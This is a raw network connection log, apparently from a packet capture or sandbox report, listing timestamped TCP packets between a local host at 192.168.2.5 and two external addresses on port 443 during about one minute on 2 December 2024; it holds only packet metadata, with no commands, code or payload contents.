Dec 2, 2024 18:45:07.063709021 CET	49962	443	192.168.2.5	172.67.217.190
Dec 2, 2024 18:45:07.063963890 CET	49962	443	192.168.2.5	172.67.217.190
Dec 2, 2024 18:45:07.068923950 CET	49962	443	192.168.2.5	172.67.217.190
Dec 2, 2024 18:45:07.068950891 CET	443	49962	172.67.217.190	192.168.2.5
Dec 2, 2024 18:45:07.103200912 CET	49968	443	192.168.2.5	172.67.217.190
Dec 2, 2024 18:45:07.103257895 CET	443	49968	172.67.217.190	192.168.2.5
Dec 2, 2024 18:45:07.103405952 CET	49968	443	192.168.2.5	172.67.217.190
Dec 2, 2024 18:45:07.103741884 CET	49968	443	192.168.2.5	172.67.217.190
Dec 2, 2024 18:45:07.103756905 CET	443	49968	172.67.217.190	192.168.2.5
Dec 2, 2024 18:45:08.104067087 CET	49968	443	192.168.2.5	172.67.217.190
Dec 2, 2024 18:45:08.435543060 CET	49972	443	192.168.2.5	104.21.68.89
Dec 2, 2024 18:45:08.435587883 CET	443	49972	104.21.68.89	192.168.2.5
Dec 2, 2024 18:45:08.435666084 CET	49972	443	192.168.2.5	104.21.68.89
Dec 2, 2024 18:45:08.436075926 CET	49972	443	192.168.2.5	104.21.68.89
Dec 2, 2024 18:45:08.436089993 CET	443	49972	104.21.68.89	192.168.2.5
Dec 2, 2024 18:45:09.729938984 CET	443	49972	104.21.68.89	192.168.2.5
Dec 2, 2024 18:45:09.730000973 CET	49972	443	192.168.2.5	104.21.68.89
Dec 2, 2024 18:45:09.750797987 CET	49972	443	192.168.2.5	104.21.68.89
Dec 2, 2024 18:45:09.750809908 CET	443	49972	104.21.68.89	192.168.2.5
Dec 2, 2024 18:45:09.750947952 CET	49972	443	192.168.2.5	104.21.68.89
Dec 2, 2024 18:45:09.750952959 CET	443	49972	104.21.68.89	192.168.2.5
Dec 2, 2024 18:45:09.751091003 CET	443	49972	104.21.68.89	192.168.2.5
Dec 2, 2024 18:45:09.751153946 CET	49972	443	192.168.2.5	104.21.68.89
Dec 2, 2024 18:45:12.273225069 CET	443	49972	104.21.68.89	192.168.2.5
Dec 2, 2024 18:45:12.273286104 CET	49972	443	192.168.2.5	104.21.68.89
Dec 2, 2024 18:45:12.273296118 CET	443	49972	104.21.68.89	192.168.2.5
Dec 2, 2024 18:45:12.273334980 CET	443	49972	104.21.68.89	192.168.2.5
Dec 2, 2024 18:45:12.273354053 CET	49972	443	192.168.2.5	104.21.68.89
Dec 2, 2024 18:45:12.273367882 CET	49972	443	192.168.2.5	104.21.68.89
Dec 2, 2024 18:45:12.276329041 CET	49972	443	192.168.2.5	104.21.68.89
Dec 2, 2024 18:45:12.276344061 CET	443	49972	104.21.68.89	192.168.2.5
Dec 2, 2024 18:45:12.368041992 CET	49980	443	192.168.2.5	104.21.68.89
Dec 2, 2024 18:45:12.368113995 CET	443	49980	104.21.68.89	192.168.2.5
Dec 2, 2024 18:45:12.368181944 CET	49980	443	192.168.2.5	104.21.68.89
Dec 2, 2024 18:45:12.368586063 CET	49980	443	192.168.2.5	104.21.68.89
Dec 2, 2024 18:45:12.368599892 CET	443	49980	104.21.68.89	192.168.2.5
Dec 2, 2024 18:45:13.691968918 CET	443	49980	104.21.68.89	192.168.2.5
Dec 2, 2024 18:45:13.692034960 CET	49980	443	192.168.2.5	104.21.68.89
Dec 2, 2024 18:45:13.692490101 CET	49980	443	192.168.2.5	104.21.68.89
Dec 2, 2024 18:45:13.692503929 CET	443	49980	104.21.68.89	192.168.2.5
Dec 2, 2024 18:45:13.693682909 CET	49980	443	192.168.2.5	104.21.68.89
Dec 2, 2024 18:45:13.693689108 CET	443	49980	104.21.68.89	192.168.2.5
Dec 2, 2024 18:45:15.320888042 CET	443	49980	104.21.68.89	192.168.2.5
Dec 2, 2024 18:45:15.320974112 CET	443	49980	104.21.68.89	192.168.2.5
Dec 2, 2024 18:45:15.320974112 CET	49980	443	192.168.2.5	104.21.68.89
Dec 2, 2024 18:45:15.321043015 CET	49980	443	192.168.2.5	104.21.68.89
Dec 2, 2024 18:45:15.324584007 CET	49980	443	192.168.2.5	104.21.68.89
Dec 2, 2024 18:45:15.324603081 CET	443	49980	104.21.68.89	192.168.2.5
Dec 2, 2024 18:45:15.670229912 CET	49986	443	192.168.2.5	104.21.68.89
Dec 2, 2024 18:45:15.670283079 CET	443	49986	104.21.68.89	192.168.2.5
Dec 2, 2024 18:45:15.670357943 CET	49986	443	192.168.2.5	104.21.68.89
Dec 2, 2024 18:45:15.670877934 CET	49986	443	192.168.2.5	104.21.68.89
Dec 2, 2024 18:45:15.670892000 CET	443	49986	104.21.68.89	192.168.2.5
Dec 2, 2024 18:45:16.943713903 CET	443	49986	104.21.68.89	192.168.2.5
Dec 2, 2024 18:45:16.944086075 CET	49986	443	192.168.2.5	104.21.68.89
Dec 2, 2024 18:45:16.945821047 CET	49986	443	192.168.2.5	104.21.68.89
Dec 2, 2024 18:45:16.945821047 CET	49986	443	192.168.2.5	104.21.68.89
Dec 2, 2024 18:45:16.945831060 CET	443	49986	104.21.68.89	192.168.2.5
Dec 2, 2024 18:45:16.945846081 CET	443	49986	104.21.68.89	192.168.2.5
Dec 2, 2024 18:45:18.682240009 CET	443	49986	104.21.68.89	192.168.2.5
Dec 2, 2024 18:45:18.682323933 CET	443	49986	104.21.68.89	192.168.2.5
Dec 2, 2024 18:45:18.682353020 CET	49986	443	192.168.2.5	104.21.68.89
Dec 2, 2024 18:45:18.682555914 CET	49986	443	192.168.2.5	104.21.68.89
Dec 2, 2024 18:45:18.682601929 CET	49986	443	192.168.2.5	104.21.68.89
Dec 2, 2024 18:45:18.682610035 CET	443	49986	104.21.68.89	192.168.2.5
Dec 2, 2024 18:45:18.759682894 CET	49995	443	192.168.2.5	104.21.68.89
Dec 2, 2024 18:45:18.759710073 CET	443	49995	104.21.68.89	192.168.2.5
Dec 2, 2024 18:45:18.760885954 CET	49995	443	192.168.2.5	104.21.68.89
Dec 2, 2024 18:45:18.761053085 CET	49995	443	192.168.2.5	104.21.68.89
Dec 2, 2024 18:45:18.761065960 CET	443	49995	104.21.68.89	192.168.2.5
Dec 2, 2024 18:45:20.031522989 CET	443	49995	104.21.68.89	192.168.2.5
Dec 2, 2024 18:45:20.032123089 CET	49995	443	192.168.2.5	104.21.68.89
Dec 2, 2024 18:45:20.032857895 CET	49995	443	192.168.2.5	104.21.68.89
Dec 2, 2024 18:45:20.032864094 CET	443	49995	104.21.68.89	192.168.2.5
Dec 2, 2024 18:45:20.034739971 CET	49995	443	192.168.2.5	104.21.68.89
Dec 2, 2024 18:45:20.034744978 CET	443	49995	104.21.68.89	192.168.2.5
Dec 2, 2024 18:45:21.710541010 CET	443	49995	104.21.68.89	192.168.2.5
Dec 2, 2024 18:45:21.710623980 CET	443	49995	104.21.68.89	192.168.2.5
Dec 2, 2024 18:45:21.710637093 CET	49995	443	192.168.2.5	104.21.68.89
Dec 2, 2024 18:45:21.710658073 CET	49995	443	192.168.2.5	104.21.68.89
Dec 2, 2024 18:45:21.711064100 CET	49995	443	192.168.2.5	104.21.68.89
Dec 2, 2024 18:45:21.711078882 CET	443	49995	104.21.68.89	192.168.2.5
Dec 2, 2024 18:45:21.715740919 CET	49999	443	192.168.2.5	104.21.68.89
Dec 2, 2024 18:45:21.715775013 CET	443	49999	104.21.68.89	192.168.2.5
Dec 2, 2024 18:45:21.715908051 CET	49999	443	192.168.2.5	104.21.68.89
Dec 2, 2024 18:45:21.716099024 CET	49999	443	192.168.2.5	104.21.68.89
Dec 2, 2024 18:45:21.716113091 CET	443	49999	104.21.68.89	192.168.2.5
Dec 2, 2024 18:45:23.028511047 CET	443	49999	104.21.68.89	192.168.2.5
Dec 2, 2024 18:45:23.028620005 CET	49999	443	192.168.2.5	104.21.68.89
Dec 2, 2024 18:45:23.029176950 CET	49999	443	192.168.2.5	104.21.68.89
Dec 2, 2024 18:45:23.029192924 CET	443	49999	104.21.68.89	192.168.2.5
Dec 2, 2024 18:45:23.030613899 CET	49999	443	192.168.2.5	104.21.68.89
Dec 2, 2024 18:45:23.030613899 CET	49999	443	192.168.2.5	104.21.68.89
Dec 2, 2024 18:45:23.030627012 CET	443	49999	104.21.68.89	192.168.2.5
Dec 2, 2024 18:45:23.030641079 CET	443	49999	104.21.68.89	192.168.2.5
Dec 2, 2024 18:45:24.595951080 CET	443	49999	104.21.68.89	192.168.2.5
Dec 2, 2024 18:45:24.596077919 CET	443	49999	104.21.68.89	192.168.2.5
Dec 2, 2024 18:45:24.596220970 CET	49999	443	192.168.2.5	104.21.68.89
Dec 2, 2024 18:45:24.596461058 CET	49999	443	192.168.2.5	104.21.68.89
Dec 2, 2024 18:45:24.596476078 CET	443	49999	104.21.68.89	192.168.2.5
Dec 2, 2024 18:45:24.706170082 CET	50000	443	192.168.2.5	104.21.68.89
Dec 2, 2024 18:45:24.706231117 CET	443	50000	104.21.68.89	192.168.2.5
Dec 2, 2024 18:45:24.710165024 CET	50000	443	192.168.2.5	104.21.68.89
Dec 2, 2024 18:45:24.713963985 CET	50000	443	192.168.2.5	104.21.68.89
Dec 2, 2024 18:45:24.713979959 CET	443	50000	104.21.68.89	192.168.2.5
Dec 2, 2024 18:45:25.999731064 CET	443	50000	104.21.68.89	192.168.2.5
Dec 2, 2024 18:45:25.999790907 CET	50000	443	192.168.2.5	104.21.68.89
Dec 2, 2024 18:45:26.000550032 CET	50000	443	192.168.2.5	104.21.68.89
Dec 2, 2024 18:45:26.000555038 CET	443	50000	104.21.68.89	192.168.2.5
Dec 2, 2024 18:45:26.002171040 CET	50000	443	192.168.2.5	104.21.68.89
Dec 2, 2024 18:45:26.002176046 CET	443	50000	104.21.68.89	192.168.2.5
Dec 2, 2024 18:45:27.598665953 CET	443	50000	104.21.68.89	192.168.2.5
Dec 2, 2024 18:45:27.598741055 CET	50000	443	192.168.2.5	104.21.68.89
Dec 2, 2024 18:45:27.598757029 CET	443	50000	104.21.68.89	192.168.2.5
Dec 2, 2024 18:45:27.598782063 CET	443	50000	104.21.68.89	192.168.2.5
Dec 2, 2024 18:45:27.598810911 CET	50000	443	192.168.2.5	104.21.68.89
Dec 2, 2024 18:45:27.598831892 CET	50000	443	192.168.2.5	104.21.68.89
Dec 2, 2024 18:45:27.599101067 CET	50000	443	192.168.2.5	104.21.68.89
Dec 2, 2024 18:45:27.599117994 CET	443	50000	104.21.68.89	192.168.2.5
Dec 2, 2024 18:45:28.507535934 CET	50001	443	192.168.2.5	104.21.68.89
Dec 2, 2024 18:45:28.507580042 CET	443	50001	104.21.68.89	192.168.2.5
Dec 2, 2024 18:45:28.507771015 CET	50001	443	192.168.2.5	104.21.68.89
Dec 2, 2024 18:45:28.508102894 CET	50001	443	192.168.2.5	104.21.68.89
Dec 2, 2024 18:45:28.508119106 CET	443	50001	104.21.68.89	192.168.2.5
Dec 2, 2024 18:45:29.818818092 CET	443	50001	104.21.68.89	192.168.2.5
Dec 2, 2024 18:45:29.818885088 CET	50001	443	192.168.2.5	104.21.68.89
Dec 2, 2024 18:45:29.819464922 CET	50001	443	192.168.2.5	104.21.68.89
Dec 2, 2024 18:45:29.819475889 CET	443	50001	104.21.68.89	192.168.2.5
Dec 2, 2024 18:45:29.821069956 CET	50001	443	192.168.2.5	104.21.68.89
Dec 2, 2024 18:45:29.821079016 CET	443	50001	104.21.68.89	192.168.2.5
Dec 2, 2024 18:45:31.442240000 CET	443	50001	104.21.68.89	192.168.2.5
Dec 2, 2024 18:45:31.442344904 CET	443	50001	104.21.68.89	192.168.2.5
Dec 2, 2024 18:45:31.442378998 CET	50001	443	192.168.2.5	104.21.68.89
Dec 2, 2024 18:45:31.442543983 CET	50001	443	192.168.2.5	104.21.68.89
Dec 2, 2024 18:45:31.442722082 CET	50001	443	192.168.2.5	104.21.68.89
Dec 2, 2024 18:45:31.442734957 CET	443	50001	104.21.68.89	192.168.2.5
Dec 2, 2024 18:45:31.495512009 CET	50002	443	192.168.2.5	104.21.68.89
Dec 2, 2024 18:45:31.495548964 CET	443	50002	104.21.68.89	192.168.2.5
Dec 2, 2024 18:45:31.495616913 CET	50002	443	192.168.2.5	104.21.68.89
Dec 2, 2024 18:45:31.496104002 CET	50002	443	192.168.2.5	104.21.68.89
Dec 2, 2024 18:45:31.496118069 CET	443	50002	104.21.68.89	192.168.2.5
Dec 2, 2024 18:45:32.838959932 CET	443	50002	104.21.68.89	192.168.2.5
Dec 2, 2024 18:45:32.842132092 CET	50002	443	192.168.2.5	104.21.68.89
Dec 2, 2024 18:45:32.843604088 CET	50002	443	192.168.2.5	104.21.68.89
Dec 2, 2024 18:45:32.843604088 CET	50002	443	192.168.2.5	104.21.68.89
Dec 2, 2024 18:45:32.843611002 CET	443	50002	104.21.68.89	192.168.2.5
Dec 2, 2024 18:45:32.843621016 CET	443	50002	104.21.68.89	192.168.2.5
Dec 2, 2024 18:45:34.469949961 CET	443	50002	104.21.68.89	192.168.2.5
Dec 2, 2024 18:45:34.470036983 CET	50002	443	192.168.2.5	104.21.68.89
Dec 2, 2024 18:45:34.470048904 CET	443	50002	104.21.68.89	192.168.2.5
Dec 2, 2024 18:45:34.470062971 CET	443	50002	104.21.68.89	192.168.2.5
Dec 2, 2024 18:45:34.470109940 CET	50002	443	192.168.2.5	104.21.68.89
Dec 2, 2024 18:45:34.470120907 CET	50002	443	192.168.2.5	104.21.68.89
Dec 2, 2024 18:45:34.470455885 CET	50002	443	192.168.2.5	104.21.68.89
Dec 2, 2024 18:45:34.470472097 CET	443	50002	104.21.68.89	192.168.2.5
Dec 2, 2024 18:45:34.533719063 CET	50003	443	192.168.2.5	104.21.68.89
Dec 2, 2024 18:45:34.533768892 CET	443	50003	104.21.68.89	192.168.2.5
Dec 2, 2024 18:45:34.534076929 CET	50003	443	192.168.2.5	104.21.68.89
Dec 2, 2024 18:45:34.538130999 CET	50003	443	192.168.2.5	104.21.68.89
Dec 2, 2024 18:45:34.538144112 CET	443	50003	104.21.68.89	192.168.2.5
Dec 2, 2024 18:45:36.271816015 CET	443	50003	104.21.68.89	192.168.2.5
Dec 2, 2024 18:45:36.271883011 CET	50003	443	192.168.2.5	104.21.68.89
Dec 2, 2024 18:45:36.272474051 CET	50003	443	192.168.2.5	104.21.68.89
Dec 2, 2024 18:45:36.272480011 CET	443	50003	104.21.68.89	192.168.2.5
Dec 2, 2024 18:45:36.274045944 CET	50003	443	192.168.2.5	104.21.68.89
Dec 2, 2024 18:45:36.274053097 CET	443	50003	104.21.68.89	192.168.2.5
Dec 2, 2024 18:45:37.896123886 CET	443	50003	104.21.68.89	192.168.2.5
Dec 2, 2024 18:45:37.896181107 CET	50003	443	192.168.2.5	104.21.68.89
Dec 2, 2024 18:45:37.896209002 CET	443	50003	104.21.68.89	192.168.2.5
Dec 2, 2024 18:45:37.896229982 CET	443	50003	104.21.68.89	192.168.2.5
Dec 2, 2024 18:45:37.896245956 CET	50003	443	192.168.2.5	104.21.68.89
Dec 2, 2024 18:45:37.896269083 CET	50003	443	192.168.2.5	104.21.68.89
Dec 2, 2024 18:45:37.904066086 CET	50003	443	192.168.2.5	104.21.68.89
Dec 2, 2024 18:45:37.904098034 CET	443	50003	104.21.68.89	192.168.2.5
Dec 2, 2024 18:45:38.007889986 CET	50004	443	192.168.2.5	104.21.68.89
Dec 2, 2024 18:45:38.007940054 CET	443	50004	104.21.68.89	192.168.2.5
Dec 2, 2024 18:45:38.008044004 CET	50004	443	192.168.2.5	104.21.68.89
Dec 2, 2024 18:45:38.008347034 CET	50004	443	192.168.2.5	104.21.68.89
Dec 2, 2024 18:45:38.008358955 CET	443	50004	104.21.68.89	192.168.2.5
Dec 2, 2024 18:45:39.471087933 CET	443	50004	104.21.68.89	192.168.2.5
Dec 2, 2024 18:45:39.471962929 CET	50004	443	192.168.2.5	104.21.68.89
Dec 2, 2024 18:45:39.475152016 CET	50004	443	192.168.2.5	104.21.68.89
Dec 2, 2024 18:45:39.475159883 CET	443	50004	104.21.68.89	192.168.2.5
Dec 2, 2024 18:45:39.476783037 CET	50004	443	192.168.2.5	104.21.68.89
Dec 2, 2024 18:45:39.476788998 CET	443	50004	104.21.68.89	192.168.2.5
Dec 2, 2024 18:45:41.079747915 CET	443	50004	104.21.68.89	192.168.2.5
Dec 2, 2024 18:45:41.079843998 CET	443	50004	104.21.68.89	192.168.2.5
Dec 2, 2024 18:45:41.079921007 CET	50004	443	192.168.2.5	104.21.68.89
Dec 2, 2024 18:45:41.080631971 CET	50004	443	192.168.2.5	104.21.68.89
Dec 2, 2024 18:45:41.080652952 CET	443	50004	104.21.68.89	192.168.2.5
Dec 2, 2024 18:45:41.687994957 CET	50005	443	192.168.2.5	104.21.68.89
Dec 2, 2024 18:45:41.688016891 CET	443	50005	104.21.68.89	192.168.2.5
Dec 2, 2024 18:45:41.688077927 CET	50005	443	192.168.2.5	104.21.68.89
Dec 2, 2024 18:45:41.688474894 CET	50005	443	192.168.2.5	104.21.68.89
Dec 2, 2024 18:45:41.688489914 CET	443	50005	104.21.68.89	192.168.2.5
Dec 2, 2024 18:45:42.253110886 CET	50005	443	192.168.2.5	104.21.68.89
Dec 2, 2024 18:45:42.258256912 CET	50006	443	192.168.2.5	172.67.217.190
Dec 2, 2024 18:45:42.258321047 CET	443	50006	172.67.217.190	192.168.2.5
Dec 2, 2024 18:45:42.258387089 CET	50006	443	192.168.2.5	172.67.217.190
Dec 2, 2024 18:45:42.258903027 CET	50006	443	192.168.2.5	172.67.217.190
Dec 2, 2024 18:45:42.258918047 CET	443	50006	172.67.217.190	192.168.2.5
Dec 2, 2024 18:45:43.549746990 CET	443	50006	172.67.217.190	192.168.2.5
Dec 2, 2024 18:45:43.549823999 CET	50006	443	192.168.2.5	172.67.217.190
Dec 2, 2024 18:45:43.551948071 CET	50006	443	192.168.2.5	172.67.217.190
Dec 2, 2024 18:45:43.551959991 CET	443	50006	172.67.217.190	192.168.2.5
Dec 2, 2024 18:45:43.552133083 CET	50006	443	192.168.2.5	172.67.217.190
Dec 2, 2024 18:45:43.552145958 CET	443	50006	172.67.217.190	192.168.2.5
Dec 2, 2024 18:45:43.552208900 CET	443	50006	172.67.217.190	192.168.2.5
Dec 2, 2024 18:45:43.552261114 CET	50006	443	192.168.2.5	172.67.217.190
Dec 2, 2024 18:45:44.395567894 CET	443	50006	172.67.217.190	192.168.2.5
Dec 2, 2024 18:45:44.395621061 CET	50006	443	192.168.2.5	172.67.217.190
Dec 2, 2024 18:45:44.395637989 CET	443	50006	172.67.217.190	192.168.2.5
Dec 2, 2024 18:45:44.395682096 CET	50006	443	192.168.2.5	172.67.217.190
Dec 2, 2024 18:45:44.395689964 CET	443	50006	172.67.217.190	192.168.2.5
Dec 2, 2024 18:45:44.395701885 CET	443	50006	172.67.217.190	192.168.2.5
Dec 2, 2024 18:45:44.395744085 CET	50006	443	192.168.2.5	172.67.217.190
Dec 2, 2024 18:45:44.395989895 CET	50006	443	192.168.2.5	172.67.217.190
Dec 2, 2024 18:45:44.395998001 CET	443	50006	172.67.217.190	192.168.2.5
Dec 2, 2024 18:45:44.400963068 CET	50007	443	192.168.2.5	172.67.217.190
Dec 2, 2024 18:45:44.401011944 CET	443	50007	172.67.217.190	192.168.2.5
Dec 2, 2024 18:45:44.401139975 CET	50007	443	192.168.2.5	172.67.217.190
Dec 2, 2024 18:45:44.401465893 CET	50007	443	192.168.2.5	172.67.217.190
Dec 2, 2024 18:45:44.401478052 CET	443	50007	172.67.217.190	192.168.2.5
Dec 2, 2024 18:45:45.823574066 CET	443	50007	172.67.217.190	192.168.2.5
Dec 2, 2024 18:45:45.823623896 CET	50007	443	192.168.2.5	172.67.217.190
Dec 2, 2024 18:45:45.824274063 CET	50007	443	192.168.2.5	172.67.217.190
Dec 2, 2024 18:45:45.824281931 CET	443	50007	172.67.217.190	192.168.2.5
Dec 2, 2024 18:45:45.824589014 CET	50007	443	192.168.2.5	172.67.217.190
Dec 2, 2024 18:45:45.824594975 CET	443	50007	172.67.217.190	192.168.2.5
Dec 2, 2024 18:45:46.753155947 CET	443	50007	172.67.217.190	192.168.2.5
Dec 2, 2024 18:45:46.753264904 CET	443	50007	172.67.217.190	192.168.2.5
Dec 2, 2024 18:45:46.753562927 CET	50007	443	192.168.2.5	172.67.217.190
Dec 2, 2024 18:45:46.753562927 CET	50007	443	192.168.2.5	172.67.217.190
Dec 2, 2024 18:45:46.801819086 CET	50008	443	192.168.2.5	172.67.217.190
Dec 2, 2024 18:45:46.801851034 CET	443	50008	172.67.217.190	192.168.2.5
Dec 2, 2024 18:45:46.801986933 CET	50008	443	192.168.2.5	172.67.217.190
Dec 2, 2024 18:45:46.803858995 CET	50008	443	192.168.2.5	172.67.217.190
Dec 2, 2024 18:45:46.803865910 CET	443	50008	172.67.217.190	192.168.2.5
Dec 2, 2024 18:45:47.111691952 CET	50007	443	192.168.2.5	172.67.217.190
Dec 2, 2024 18:45:47.111722946 CET	443	50007	172.67.217.190	192.168.2.5
Dec 2, 2024 18:45:48.023324966 CET	443	50008	172.67.217.190	192.168.2.5
Dec 2, 2024 18:45:48.023396969 CET	50008	443	192.168.2.5	172.67.217.190
Dec 2, 2024 18:45:48.028731108 CET	50008	443	192.168.2.5	172.67.217.190
Dec 2, 2024 18:45:48.028738022 CET	443	50008	172.67.217.190	192.168.2.5
Dec 2, 2024 18:45:48.029185057 CET	50008	443	192.168.2.5	172.67.217.190
Dec 2, 2024 18:45:48.029191971 CET	443	50008	172.67.217.190	192.168.2.5
Dec 2, 2024 18:45:48.761926889 CET	443	50008	172.67.217.190	192.168.2.5
Dec 2, 2024 18:45:48.761981964 CET	50008	443	192.168.2.5	172.67.217.190
Dec 2, 2024 18:45:48.761989117 CET	443	50008	172.67.217.190	192.168.2.5
Dec 2, 2024 18:45:48.762026072 CET	50008	443	192.168.2.5	172.67.217.190
Dec 2, 2024 18:45:48.762028933 CET	443	50008	172.67.217.190	192.168.2.5
Dec 2, 2024 18:45:48.762069941 CET	443	50008	172.67.217.190	192.168.2.5
Dec 2, 2024 18:45:48.762078047 CET	50008	443	192.168.2.5	172.67.217.190
Dec 2, 2024 18:45:48.762178898 CET	50008	443	192.168.2.5	172.67.217.190
Dec 2, 2024 18:45:48.762327909 CET	50008	443	192.168.2.5	172.67.217.190
Dec 2, 2024 18:45:48.762340069 CET	443	50008	172.67.217.190	192.168.2.5
Dec 2, 2024 18:45:48.948525906 CET	50009	443	192.168.2.5	172.67.217.190
Dec 2, 2024 18:45:48.948577881 CET	443	50009	172.67.217.190	192.168.2.5
Dec 2, 2024 18:45:48.948690891 CET	50009	443	192.168.2.5	172.67.217.190
Dec 2, 2024 18:45:48.949028969 CET	50009	443	192.168.2.5	172.67.217.190
Dec 2, 2024 18:45:48.949039936 CET	443	50009	172.67.217.190	192.168.2.5
Dec 2, 2024 18:45:50.330341101 CET	443	50009	172.67.217.190	192.168.2.5
Dec 2, 2024 18:45:50.330477953 CET	50009	443	192.168.2.5	172.67.217.190
Dec 2, 2024 18:45:50.331278086 CET	50009	443	192.168.2.5	172.67.217.190
Dec 2, 2024 18:45:50.331284046 CET	443	50009	172.67.217.190	192.168.2.5
Dec 2, 2024 18:45:50.331589937 CET	50009	443	192.168.2.5	172.67.217.190
Dec 2, 2024 18:45:50.331594944 CET	443	50009	172.67.217.190	192.168.2.5
Dec 2, 2024 18:45:51.126071930 CET	443	50009	172.67.217.190	192.168.2.5
Dec 2, 2024 18:45:51.126168966 CET	443	50009	172.67.217.190	192.168.2.5
Dec 2, 2024 18:45:51.126394987 CET	50009	443	192.168.2.5	172.67.217.190
Dec 2, 2024 18:45:51.130179882 CET	50009	443	192.168.2.5	172.67.217.190
Dec 2, 2024 18:45:51.130196095 CET	443	50009	172.67.217.190	192.168.2.5
Dec 2, 2024 18:45:51.182342052 CET	50010	443	192.168.2.5	172.67.217.190
Dec 2, 2024 18:45:51.182379961 CET	443	50010	172.67.217.190	192.168.2.5
Dec 2, 2024 18:45:51.182539940 CET	50010	443	192.168.2.5	172.67.217.190
Dec 2, 2024 18:45:51.185977936 CET	50010	443	192.168.2.5	172.67.217.190
Dec 2, 2024 18:45:51.185992956 CET	443	50010	172.67.217.190	192.168.2.5
Dec 2, 2024 18:45:52.440799952 CET	443	50010	172.67.217.190	192.168.2.5
Dec 2, 2024 18:45:52.440876961 CET	50010	443	192.168.2.5	172.67.217.190
Dec 2, 2024 18:45:52.441515923 CET	50010	443	192.168.2.5	172.67.217.190
Dec 2, 2024 18:45:52.441528082 CET	443	50010	172.67.217.190	192.168.2.5
Dec 2, 2024 18:45:52.441714048 CET	50010	443	192.168.2.5	172.67.217.190
Dec 2, 2024 18:45:52.441725969 CET	443	50010	172.67.217.190	192.168.2.5
Dec 2, 2024 18:45:53.206208944 CET	443	50010	172.67.217.190	192.168.2.5
Dec 2, 2024 18:45:53.206307888 CET	443	50010	172.67.217.190	192.168.2.5
Dec 2, 2024 18:45:53.206332922 CET	50010	443	192.168.2.5	172.67.217.190
Dec 2, 2024 18:45:53.206547976 CET	50010	443	192.168.2.5	172.67.217.190
Dec 2, 2024 18:45:53.206649065 CET	50010	443	192.168.2.5	172.67.217.190
Dec 2, 2024 18:45:53.206661940 CET	443	50010	172.67.217.190	192.168.2.5
Dec 2, 2024 18:45:53.267896891 CET	50011	443	192.168.2.5	172.67.217.190
Dec 2, 2024 18:45:53.267934084 CET	443	50011	172.67.217.190	192.168.2.5
Dec 2, 2024 18:45:53.268301010 CET	50011	443	192.168.2.5	172.67.217.190
Dec 2, 2024 18:45:53.269032955 CET	50011	443	192.168.2.5	172.67.217.190
Dec 2, 2024 18:45:53.269042969 CET	443	50011	172.67.217.190	192.168.2.5
Dec 2, 2024 18:45:54.543046951 CET	443	50011	172.67.217.190	192.168.2.5
Dec 2, 2024 18:45:54.546397924 CET	50011	443	192.168.2.5	172.67.217.190
Dec 2, 2024 18:45:54.546397924 CET	50011	443	192.168.2.5	172.67.217.190
Dec 2, 2024 18:45:54.546408892 CET	443	50011	172.67.217.190	192.168.2.5
Dec 2, 2024 18:45:54.550117970 CET	50011	443	192.168.2.5	172.67.217.190
Dec 2, 2024 18:45:54.550122976 CET	443	50011	172.67.217.190	192.168.2.5
Dec 2, 2024 18:45:55.328259945 CET	443	50011	172.67.217.190	192.168.2.5
Dec 2, 2024 18:45:55.328366995 CET	443	50011	172.67.217.190	192.168.2.5
Dec 2, 2024 18:45:55.328394890 CET	50011	443	192.168.2.5	172.67.217.190
Dec 2, 2024 18:45:55.330014944 CET	50011	443	192.168.2.5	172.67.217.190
Dec 2, 2024 18:45:55.330248117 CET	50011	443	192.168.2.5	172.67.217.190
Dec 2, 2024 18:45:55.330257893 CET	443	50011	172.67.217.190	192.168.2.5
Dec 2, 2024 18:45:55.407588959 CET	50012	443	192.168.2.5	172.67.217.190
Dec 2, 2024 18:45:55.407625914 CET	443	50012	172.67.217.190	192.168.2.5
Dec 2, 2024 18:45:55.408195019 CET	50012	443	192.168.2.5	172.67.217.190
Dec 2, 2024 18:45:55.408490896 CET	50012	443	192.168.2.5	172.67.217.190
Dec 2, 2024 18:45:55.408507109 CET	443	50012	172.67.217.190	192.168.2.5
Dec 2, 2024 18:45:56.708583117 CET	443	50012	172.67.217.190	192.168.2.5
Dec 2, 2024 18:45:56.708800077 CET	50012	443	192.168.2.5	172.67.217.190
Dec 2, 2024 18:45:57.252490997 CET	50012	443	192.168.2.5	172.67.217.190
Dec 2, 2024 18:45:57.252510071 CET	443	50012	172.67.217.190	192.168.2.5
Dec 2, 2024 18:45:57.252562046 CET	50012	443	192.168.2.5	172.67.217.190
Dec 2, 2024 18:45:57.252567053 CET	443	50012	172.67.217.190	192.168.2.5
Dec 2, 2024 18:45:57.918749094 CET	443	50012	172.67.217.190	192.168.2.5
Dec 2, 2024 18:45:57.918807983 CET	50012	443	192.168.2.5	172.67.217.190
Dec 2, 2024 18:45:57.918817043 CET	443	50012	172.67.217.190	192.168.2.5
Dec 2, 2024 18:45:57.918849945 CET	443	50012	172.67.217.190	192.168.2.5
Dec 2, 2024 18:45:57.918865919 CET	50012	443	192.168.2.5	172.67.217.190
Dec 2, 2024 18:45:57.918931007 CET	50012	443	192.168.2.5	172.67.217.190
Dec 2, 2024 18:45:57.919157028 CET	50012	443	192.168.2.5	172.67.217.190
Dec 2, 2024 18:45:57.919171095 CET	443	50012	172.67.217.190	192.168.2.5
Dec 2, 2024 18:45:58.030097008 CET	50013	443	192.168.2.5	172.67.217.190
Dec 2, 2024 18:45:58.030133963 CET	443	50013	172.67.217.190	192.168.2.5
Dec 2, 2024 18:45:58.030198097 CET	50013	443	192.168.2.5	172.67.217.190
Dec 2, 2024 18:45:58.030502081 CET	50013	443	192.168.2.5	172.67.217.190
Dec 2, 2024 18:45:58.030513048 CET	443	50013	172.67.217.190	192.168.2.5
Dec 2, 2024 18:45:59.322307110 CET	443	50013	172.67.217.190	192.168.2.5
Dec 2, 2024 18:45:59.326069117 CET	50013	443	192.168.2.5	172.67.217.190
Dec 2, 2024 18:45:59.326694012 CET	50013	443	192.168.2.5	172.67.217.190
Dec 2, 2024 18:45:59.326694012 CET	50013	443	192.168.2.5	172.67.217.190
Dec 2, 2024 18:45:59.326704025 CET	443	50013	172.67.217.190	192.168.2.5
Dec 2, 2024 18:45:59.326721907 CET	443	50013	172.67.217.190	192.168.2.5
Dec 2, 2024 18:46:00.102200031 CET	443	50013	172.67.217.190	192.168.2.5
Dec 2, 2024 18:46:00.102257967 CET	50013	443	192.168.2.5	172.67.217.190
Dec 2, 2024 18:46:00.102273941 CET	443	50013	172.67.217.190	192.168.2.5
Dec 2, 2024 18:46:00.102319956 CET	443	50013	172.67.217.190	192.168.2.5
